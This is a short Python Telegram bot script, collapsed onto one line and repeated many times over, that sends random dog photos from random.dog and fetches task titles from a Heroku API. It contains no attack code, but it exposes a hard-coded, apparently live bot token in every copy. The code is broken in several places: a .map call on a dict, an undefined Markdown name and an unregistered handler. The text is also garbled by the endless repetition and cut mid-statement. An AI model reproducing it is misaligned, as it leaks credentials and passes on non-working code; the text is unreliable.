updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == 